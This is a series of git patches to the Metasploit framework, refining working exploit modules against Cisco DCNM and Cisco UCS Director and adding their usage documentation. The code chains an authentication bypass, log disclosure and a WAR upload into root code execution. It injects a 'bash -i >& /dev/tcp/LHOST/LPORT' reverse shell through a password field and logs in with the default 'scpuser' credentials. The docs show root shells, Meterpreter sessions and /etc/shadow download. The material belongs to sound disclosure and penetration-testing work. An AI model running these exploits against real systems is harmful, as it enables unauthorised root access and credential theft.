WAR file upload. - This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should - work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit - (see References to understand why). + DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. + An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps + directory and achieve remote code execution as root. + This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on + versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct + directory for the WAR file upload. + This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should + work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit + (see References to understand why). }, 'Author' => [ @@ -72,32 +66,31 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptPort.new('RPORT', [true, 'The target port', 443]), + Opt::RPORT(443), OptBool.new('SSL', [true, 'Connect with TLS', true]), - OptString.new('TARGETURI', [ true, "Default server path", '/']), - OptString.new('USERNAME', [ true, "Username for auth (required only for 11.0(1) and above", 'admin']), - OptString.new('PASSWORD', [ true, "Password for auth (required only for 11.0(1) and above", 'admin']), + OptString.new('TARGETURI', [true, "Default server path", '/']), + OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']), + OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']), ]) end - def check # at the moment this is the best way to detect # check if pmreport and fileUpload servlets return a 500 error with no params - res = send_request_cgi({ + res = send_request_cgi( 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'pmreport'), 'vars_get' => { 'token' => rand_text_alpha(5..20) }, 'method' => 'GET' - }) + ) if res && res.code == 500 - res = send_request_cgi({ + res = send_request_cgi( 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'fileUpload'), 'method' => 'GET', - }) - if res and res.code == 500 + ) + if res && res.code == 500 return CheckCode::Detected end end @@ -109,10 +102,10 @@ class MetasploitModule < Msf::Exploit::Remote if target != targets[0] return target else - res = send_request_cgi({ + res = send_request_cgi( 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'fmrest', 'about','version'), 'method' => 'GET' - }) + ) if res && res.code == 200 if res.body.include?('version":"11.1(1)') print_good("#{peer} - Detected DCNM 11.1(1)") @@ -138,9 +131,8 @@ class MetasploitModule < Msf::Exploit::Remote end end - def auth_v11 - res = send_request_cgi({ + res = send_request_cgi( 'uri' => normalize_uri(datastore['TARGETURI'], 'fm/'), 'method' => 'GET', 'vars_get' => @@ -148,30 +140,29 @@ class MetasploitModule < Msf::Exploit::Remote 'userName' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }, - }) + ) if res && res.code == 200 # get the JSESSIONID cookie if res.get_cookies - res.get_cookies.split(';').each { |cok| - if cok =~ /JSESSIONID/ + res.get_cookies.split(';').each do |cok| + if cok.include?("JSESSIONID") return cok end - } + end end end end - def auth_v10 # step 1: get a JSESSIONID cookie and the server Date header - res = send_request_cgi({ + res = send_request_cgi( 'uri' => normalize_uri(datastore['TARGETURI'], 'fm/'), 'method' => 'GET' - }) + ) # step 2: convert the Date header and create the auth hash - if res and res.headers['Date'] + if res && res.headers['Date'] jsession = res.get_cookies.split(';')[0] date = Time.httpdate(res.headers['Date']) server_date = date.strftime("%s").to_i * 1000 @@ -186,7 +177,7 @@ class MetasploitModule < Msf::Exploit::Remote # step 3: authenticate our cookie as admin # token format: sessionId.sysTime.md5_str.username - res = send_request_cgi({ + res = send_request_cgi( 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'pmreport'), 'cookie' => jsession, 'vars_get' => @@ -194,23 +185,22 @@ class MetasploitModule < Msf::Exploit::Remote 'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin" }, 'method' => 'GET' - }) + ) - if res and res.code == 500 + if res && res.code == 500 return jsession end end end - # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log def get_war_path - res = send_request_cgi({ + res = send_request_cgi( 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'log', 'fmlogs.zip'), 'method' => 'GET' - }) + ) - if res and res.code == 200 + if res && res.code == 200 tmp = Tempfile.new # we have to drop this into a file first # else we will get a Zip::GPFBit3Error if we use an InputStream @@ -241,14 +231,14 @@ class MetasploitModule < Msf::Exploit::Remote end # targets[1] DCNM 11.1(1) doesn't need auth! - if jsession == nil and target != targets[1] + if jsession.nil? && target != targets[1] fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie") elsif target != targets[1] print_good("#{peer} - Successfully authenticated our JSESSIONID cookie") end war_path = get_war_path - if war_path == nil or war_path.empty? + if war_path.nil? or war_path.empty? fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs") else print_good("#{peer} - Obtain WAR path from logs: #{war_path}") @@ -268,27 +258,24 @@ class MetasploitModule < Msf::Exploit::Remote data = post_data.to_s print_status("#{peer} - Uploading payload...") - res = send_request_cgi({ + res = send_request_cgi( 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'fileUpload'), 'method' => 'POST', 'data' => data, 'cookie' => jsession, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" - }) + ) - if res and res.code == 200 and res.body[/#{fname}/] - # step 5: call Shelly + if res && res.code == 200 && res.body[/#{fname}/] print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...") sleep 10 print_status("#{peer} - Executing payload...") - send_request_cgi({ + send_request_cgi( 'uri' => normalize_uri(datastore['TARGETURI'], app_base), 'method' => 'GET' - }) - - handler + ) else fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file") end From f9ddc1d18f1fdb01bc4b9f005ab0d5e8d88832c5 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 29 Aug 2019 12:15:20 +0700 Subject: [PATCH 079/217] Make more changes --- modules/auxiliary/admin/cisco/cisco_dcnm_download.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb index db9799369e..0a19e3d931 100644 --- a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb +++ b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb @@ -103,7 +103,7 @@ class MetasploitModule < Msf::Auxiliary 'method' => 'GET' ) - if res and res.code == 500 + if res && res.code == 500 return jsession end end @@ -138,7 +138,7 @@ class MetasploitModule < Msf::Auxiliary end end - if jsession or noauth + if jsession || noauth print_good("#{peer} - Successfully authenticated our JSESSIONID cookie") else fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie") @@ -153,7 +153,7 @@ class MetasploitModule < Msf::Auxiliary } ) - if res and res.code == 200 and res.body.length > 0 + if res && res.code == 200 && res.body.length > 0 filedata = res.body vprint_line(filedata.to_s) fname = File.basename(datastore['FILEPATH']) From bbbf426ec704560fc6fccf35adfcbd6066ac61ad Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 29 Aug 2019 12:16:58 +0700 Subject: [PATCH 080/217] make requested changes --- .../multi/http/cisco_dcnm_upload_2019.rb | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb b/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb index 68f817483c..4f0f0eff25 100644 --- a/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb +++ b/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'zip' require 'tempfile' class MetasploitModule < Msf::Exploit::Remote @@ -78,7 +77,7 @@ class MetasploitModule < Msf::Exploit::Remote # at the moment this is the best way to detect # check if pmreport and fileUpload servlets return a 500 error with no params res = send_request_cgi( - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'pmreport'), + 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), 'vars_get' => { 'token' => rand_text_alpha(5..20) @@ -87,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote ) if res && res.code == 500 res = send_request_cgi( - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'fileUpload'), + 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), 'method' => 'GET', ) if res && res.code == 500 @@ -103,7 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote return target else res = send_request_cgi( - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'fmrest', 'about','version'), + 'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'), 'method' => 'GET' ) if res && res.code == 200 @@ -133,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Remote def auth_v11 res = send_request_cgi( - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm/'), + 'uri' => normalize_uri(target_uri.path, 'fm/'), 'method' => 'GET', 'vars_get' => { @@ -157,7 +156,7 @@ class MetasploitModule < Msf::Exploit::Remote def auth_v10 # step 1: get a JSESSIONID cookie and the server Date header res = send_request_cgi( - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm/'), + 'uri' => normalize_uri(target_uri.path, 'fm/'), 'method' => 'GET' ) @@ -178,7 +177,7 @@ class MetasploitModule < Msf::Exploit::Remote # step 3: authenticate our cookie as admin # token format: sessionId.sysTime.md5_str.username res = send_request_cgi( - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'pmreport'), + 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), 'cookie' => jsession, 'vars_get' => { @@ -196,7 +195,7 @@ class MetasploitModule < Msf::Exploit::Remote # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log def get_war_path res = send_request_cgi( - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'log', 'fmlogs.zip'), + 'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'), 'method' => 'GET' ) @@ -259,7 +258,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{peer} - Uploading payload...") res = send_request_cgi( - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'fileUpload'), + 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), 'method' => 'POST', 'data' => data, 'cookie' => jsession, @@ -273,7 +272,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{peer} - Executing payload...") send_request_cgi( - 'uri' => normalize_uri(datastore['TARGETURI'], app_base), + 'uri' => normalize_uri(target_uri.path, app_base), 'method' => 'GET' ) else From 3dd9c38fd19ecdc877c999bd186d367943cbf7a8 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 29 Aug 2019 12:42:01 +0700 Subject: [PATCH 081/217] Update cisco_dcnm_upload_2019.rb --- modules/exploits/multi/http/cisco_dcnm_upload_2019.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb b/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb index 4f0f0eff25..3efdbf3080 100644 --- a/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb +++ b/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'tempfile' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking From 40b0d02f39b16e88d6f606f8fee67d3125c77c18 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 29 Aug 2019 19:49:37 +0700 Subject: [PATCH 082/217] make some adjustments --- modules/exploits/linux/http/cisco_ucs_rce.rb | 50 +++++++++----------- 1 file changed, 22 insertions(+), 28 deletions(-) diff --git a/modules/exploits/linux/http/cisco_ucs_rce.rb b/modules/exploits/linux/http/cisco_ucs_rce.rb index f800cf135a..2c41ad5feb 100644 --- a/modules/exploits/linux/http/cisco_ucs_rce.rb +++ b/modules/exploits/linux/http/cisco_ucs_rce.rb @@ -1,13 +1,8 @@ - ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -# Version tests with demo VM -# - 6.7 WORKS -# - 6.6 WORKS - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -17,18 +12,18 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Cisco UCS Director Unauthenticated Remote Code Execution', 'Description' => %q{ - The Cisco UCS Director virtual appliance contains two flaws that can be combined - and abused by an attacker to achieve remote code execution as root. - The first one, CVE-2019-1937, is an authentication bypass, that allows the - attacker to authenticate as an administrator. - The second one, CVE-2019-1936, is a command injection in a password change form, - that allows the attacker to inject commands that will execute as root. - This module combines both vulnerabilities to achieve the unauthenticated command - injection as root. - It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0. - Note that Cisco also mentions in their advisory that their IMC Supervisor and - UCS Director Express are also affected by these vulnerabilities, but this module - was not tested with those products. + The Cisco UCS Director virtual appliance contains two flaws that can be combined + and abused by an attacker to achieve remote code execution as root. + The first one, CVE-2019-1937, is an authentication bypass, that allows the + attacker to authenticate as an administrator. + The second one, CVE-2019-1936, is a command injection in a password change form, + that allows the attacker to inject commands that will execute as root. + This module combines both vulnerabilities to achieve the unauthenticated command + injection as root. + It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0. + Note that Cisco also mentions in their advisory that their IMC Supervisor and + UCS Director Express are also affected by these vulnerabilities, but this module + was not tested with those products. }, 'Author' => [ @@ -61,20 +56,19 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptPort.new('RPORT', [true, 'The target port', 443]), + Opt::RPORT(443), OptBool.new('SSL', [true, 'Connect with TLS', true]), - OptString.new('TARGETURI', [ true, "Default server path", '/']), + OptString.new('TARGETURI', [true, "Default server path", '/']), ]) end - def check # can't think of anything better then this res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'app', 'ui', 'login'), + 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'), 'method' => 'GET' }) - if res && res.code == 302 + if res and res.code == 302 return Exploit::CheckCode::Detected end @@ -83,17 +77,17 @@ class MetasploitModule < Msf::Exploit::Remote def exploit # step 1: get a JSESSIONID cookie - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'app', 'ui', 'login'), + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'), 'method' => 'GET' - }) + ) if res and (res.code == 200 or res.code == 302) jsession = res.get_cookies.split(';')[0] # step 2: authenticate our cookie as admin res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'app', 'ui', 'ClientServlet'), + 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'), 'cookie' => jsession, 'vars_get' => { @@ -111,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET' }) - if res and res.code == 200 and res.body =~ /admin/ + if res and res.code == 200 and res.body.include?("admin") if not res.get_cookies.empty? # if the server returns a new cookie, use that jsession = res.get_cookies.split(';')[0] @@ -122,7 +116,7 @@ class MetasploitModule < Msf::Exploit::Remote payload = %{{"param0":"admin","param1":{"ids":null,"targetCuicId":null,"uiMenuTag":23,"cloudName":null,"filterId":null,"id":null,"type":10},"param2":"scpUserConfig","param3":[{"fieldId":"FIELD_ID_USERNAME","value":"scpuser"},{"fieldId":"FIELD_ID_DESCRIPTION","value":"The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin."},{"fieldId":"FIELD_ID_PASSWORD","value":"`bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &``"}]}} res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'app', 'ui', 'ClientServlet'), + 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'), 'cookie' => jsession, 'headers' => { From 0c1f3f2d03871cc0044ff23dae04d0bda22aa67c Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 29 Aug 2019 19:50:01 +0700 Subject: [PATCH 083/217] make some adjustments --- .../exploits/linux/ssh/cisco_ucs_scpuser.rb | 21 +++++++------------ 1 file changed, 7 insertions(+), 14 deletions(-) diff --git a/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb b/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb index 70813d6989..6b7ed139bd 100644 --- a/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb +++ b/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb @@ -3,10 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -# Version tests with demo VM -# - 6.7 WORKS -# - 6.6 WORKS - require 'net/ssh' require 'net/ssh/command_stream' @@ -63,30 +59,28 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - Opt::RHOST(), - Opt::RPORT(22) + Opt::RPORT(22), + OptString.new('USERNAME', [true, "Username to login with", 'scpuser']), + OptString.new('PASSWORD', [true, "Password to login with", 'scpuser']), ], self.class ) register_advanced_options( [ - OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), - OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) + OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end - def rhost datastore['RHOST'] end - def rport datastore['RPORT'] end - def do_login(user, pass) factory = ssh_socket_factory opts = { @@ -131,10 +125,9 @@ class MetasploitModule < Msf::Exploit::Remote return nil end - def exploit - user = 'scpuser' - pass = 'scpuser' + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] print_status("#{rhost}:#{rport} - Attempt to login to the Cisco appliance...") conn = do_login(user, pass) From 6afe0fc43b112db73a3b4f2888a82cf293975b8b Mon Sep 17 00:00:00 2001 From: dwelch-r7 Date: Thu, 29 Aug 2019 16:43:10 +0100 Subject: [PATCH 084/217] Add dwelch to mailmap --- .mailmap | 1 + 1 file changed, 1 insertion(+) diff --git a/.mailmap b/.mailmap index 7521f0532b..ad41f21b76 100644 --- a/.mailmap +++ b/.mailmap @@ -13,6 +13,7 @@ dheiland-r7 dmaloney-r7 dmaloney-r7 dmohanty-r7 +dwelch-r7 ecarey-r7 egypt # aka egypt egypt From 23d7a0ed2bb7c0318a82cd2f1e0b74a14ed7b199 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 29 Aug 2019 22:45:03 +0700 Subject: [PATCH 085/217] Create cisco_dcnm_upload_2019.md --- .../multi/http/cisco_dcnm_upload_2019.md | 50 +++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/cisco_dcnm_upload_2019.md diff --git a/documentation/modules/exploit/multi/http/cisco_dcnm_upload_2019.md b/documentation/modules/exploit/multi/http/cisco_dcnm_upload_2019.md new file mode 100644 index 0000000000..8497f7c8d7 --- /dev/null +++ b/documentation/modules/exploit/multi/http/cisco_dcnm_upload_2019.md @@ -0,0 +1,50 @@ +## Intro + +Cisco Data Center Network Manager exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. +An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps +directory and achieve remote code execution as root. + +This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on +versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct +directory for the WAR file upload. + +The module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should +work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit +(see References to understand why). + + +## Author and discoverer + +Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security + + +## References + +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex +https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb +https://seclists.org/fulldisclosure/2019/Jul/7 + + +## Usage + +Setup RHOST, LHOST, LPORT, run it and sit back! + +``` +[*] Started reverse TCP handler on 10.75.1.1:4444 +[+] 10.75.1.40:443 - Detected DCNM 11.1(1) +[*] 10.75.1.40:443 - No authentication required, ready to exploit! +[+] 10.75.1.40:443 - Obtain WAR path from logs: /usr/local/cisco/dcm/wildfly-10.1.0.Final/standalone/sandeployments +[*] 10.75.1.40:443 - Uploading payload... +[+] 10.75.1.40:443 - WAR uploaded, waiting a few seconds for deployment... +[*] 10.75.1.40:443 - Executing payload... +[*] Sending stage (53867 bytes) to 10.75.1.40 +[*] Meterpreter session 1 opened (10.75.1.1:4444 -> 10.75.1.40:60592) at 2019-08-29 12:41:49 +0700 + +meterpreter > getuid +Server username: root +meterpreter > exit +[*] Shutting down Meterpreter... +[*] 10.75.1.40 - Meterpreter session 1 closed. Reason: User exit +``` From 542c75d59ef5b5e2b1dc615e063d09f95a0cbe85 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 29 Aug 2019 22:49:11 +0700 Subject: [PATCH 086/217] Create cisco_dcnm_download.md --- .../admin/cisco/cisco_dcnm_download.md | 42 +++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 documentation/modules/auxiliary/admin/cisco/cisco_dcnm_download.md diff --git a/documentation/modules/auxiliary/admin/cisco/cisco_dcnm_download.md b/documentation/modules/auxiliary/admin/cisco/cisco_dcnm_download.md new file mode 100644 index 0000000000..f718e31f8f --- /dev/null +++ b/documentation/modules/auxiliary/admin/cisco/cisco_dcnm_download.md @@ -0,0 +1,42 @@ +## Intro + +Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet. +An authenticated user can abuse this servlet to download arbitrary files as root by specifying +the full path of the file (aka CVE-2019-1621). + +This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should +work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit +(see References to understand why), on the other versions it abuses CVE-2019-1619 to bypass authentication. + + +## Author and discoverer + +Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security + + +## References + +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld +https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb +https://seclists.org/fulldisclosure/2019/Jul/7 + + +## Usage + +Setup RHOST, pick the file to download (FILENAME, default is /etc/shadow) and enjoy! + +``` +msf5 exploit(multi/http/cisco_dcnm_upload_2019) > use auxiliary/admin/cisco/cisco_dcnm_download + +msf5 auxiliary(admin/cisco/cisco_dcnm_download) > set rhost 10.75.1.40 +rhost => 10.75.1.40 +msf5 auxiliary(admin/cisco/cisco_dcnm_download) > run + +[+] 10.75.1.40:443 - Detected DCNM 10.4(2) +[*] 10.75.1.40:443 - No authentication required, ready to exploit! +[+] 10.75.1.40:443 - Got sysTime value 1567081446000 +[+] 10.75.1.40:443 - Successfully authenticated our JSESSIONID cookie +[+] File saved in: /home/john/.msf4/loot/20190829122407_default_10.75.1.40_ciscoDCNM.http_855907.bin +[*] Auxiliary module execution completed +``` From 1ae21a411fc1ed0bd3bcf6b28a6a9301de379dde Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 29 Aug 2019 22:52:30 +0700 Subject: [PATCH 087/217] Create cisco_ucs_rce.md --- .../exploit/linux/http/cisco_ucs_rce.md | 59 +++++++++++++++++++ 1 file changed, 59 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/cisco_ucs_rce.md diff --git a/documentation/modules/exploit/linux/http/cisco_ucs_rce.md b/documentation/modules/exploit/linux/http/cisco_ucs_rce.md new file mode 100644 index 0000000000..cee3eec3f0 --- /dev/null +++ b/documentation/modules/exploit/linux/http/cisco_ucs_rce.md @@ -0,0 +1,59 @@ +## Intro + +The Cisco UCS Director virtual appliance contains two flaws that can be combined +and abused by an attacker to achieve remote code execution as root. + +The first one, CVE-2019-1937, is an authentication bypass, that allows the +attacker to authenticate as an administrator. + +The second one, CVE-2019-1936, is a command injection in a password change form, +that allows the attacker to inject commands that will execute as root. + +This module combines both vulnerabilities to achieve the unauthenticated command +injection as root. +It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0. +Note that Cisco also mentions in their advisory that their IMC Supervisor and +UCS Director Express are also affected by these vulnerabilities, but this module +was not tested with those products. + + +## Author and discoverer + +Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security + + +## References + +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj +FULL_DISC +https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt + + +## Usage + +Setup RHOST, LHOST, LPORT and run it! + +``` +msf5 exploit(linux/ssh/cisco_ucs_scpuser) > use exploit/linux/http/cisco_ucs_rce +msf5 exploit(linux/http/cisco_ucs_rce) > set rhost 10.9.8.121 +rhost => 10.9.8.121 +msf5 exploit(linux/http/cisco_ucs_rce) > set lhost 10.9.8.1 +lhost => 10.9.8.1 +msf5 exploit(linux/http/cisco_ucs_rce) > run + +[*] Started reverse TCP handler on 10.9.8.1:4444 +[+] 10.9.8.121:443 - Successfully bypassed auth and got our admin JSESSIONID cookie! +[+] 10.9.8.121:443 - Shelly is here, press ENTER to start playing with her! +[*] Command shell session 2 opened (10.9.8.1:4444 -> 10.9.8.121:34778) at 2019-08-29 22:28:01 +0700 + +[root@localhost inframgr]# whoami +whoami +root +[root@localhost inframgr]# ^C +Abort session 2? [y/N] y +"" + +[*] 10.9.8.121 - Command shell session 2 closed. Reason: User exit +msf5 exploit(linux/http/cisco_ucs_rce) > +``` From 139a4a490f40feb28f77c3d7f33d80b81e93dfd2 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 29 Aug 2019 22:58:24 +0700 Subject: [PATCH 088/217] Create cisco_ucs_scpuser.md --- .../exploit/linux/ssh/cisco_ucs_scpuser.md | 50 +++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md diff --git a/documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md b/documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md new file mode 100644 index 0000000000..a631c26b4e --- /dev/null +++ b/documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md @@ -0,0 +1,50 @@ +## Intro + +This module abuses a known default password on Cisco UCS Director. The 'scpuser' +has the password of 'scpuser', and allows an attacker to login to the virtual appliance +via SSH (aka CVE-2019-1935). + +This module has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0. +Note that Cisco also mentions in their advisory that their IMC Supervisor and +UCS Director Express are also affected by these vulnerabilities, but this module +was not tested with those products. + + +## Author and discoverer + +Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security + + +## References + +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred +FULL_DISC +https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt + + +## Usage + +Setup RHOST and run it! + +``` +msf5 exploit(linux/http/cisco_ucs_rce) > use exploit/linux/ssh/cisco_ucs_scpuser +msf5 exploit(linux/ssh/cisco_ucs_scpuser) > set rhost 10.9.8.121 +rhost => 10.9.8.121 +msf5 exploit(linux/ssh/cisco_ucs_scpuser) > set lhost 10.9.8.1 +lhost => 10.9.8.1 +msf5 exploit(linux/ssh/cisco_ucs_scpuser) > run + +[*] 10.9.8.121:22 - Attempt to login to the Cisco appliance... +[+] 10.9.8.121:22 - Login Successful (scpuser:scpuser) + +[*] Found shell. +[*] Command shell session 1 opened (10.9.8.1:38113 -> 10.9.8.121:22) at 2019-08-29 22:27:42 +0700 + +whoami +scpuser +^C +Abort session 1? [y/N] y +"" + +[*] 10.9.8.121 - Command shell session 1 closed. Reason: User exit +``` From c00ef799b4c9208857c120bb93cf924f69ff86d4 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 29 Aug 2019 12:11:39 -0500 Subject: [PATCH 089/217] Bump version of framework to 5.0.44 --- Gemfile.lock | 14 +++++++------- LICENSE_GEMS | 14 +++++++------- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 15 insertions(+), 15 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index f5b9d15ed2..5c51e34913 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (5.0.43) + metasploit-framework (5.0.44) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -115,13 +115,13 @@ GEM arel-helpers (2.10.0) activerecord (>= 3.1.0, < 7) aws-eventstream (1.0.3) - aws-partitions (1.204.0) - aws-sdk-core (3.64.0) + aws-partitions (1.207.0) + aws-sdk-core (3.65.1) aws-eventstream (~> 1.0, >= 1.0.2) aws-partitions (~> 1.0) aws-sigv4 (~> 1.1) jmespath (~> 1.0) - aws-sdk-ec2 (1.105.0) + aws-sdk-ec2 (1.106.0) aws-sdk-core (~> 3, >= 3.61.1) aws-sigv4 (~> 1.1) aws-sdk-iam (1.29.0) @@ -130,7 +130,7 @@ GEM 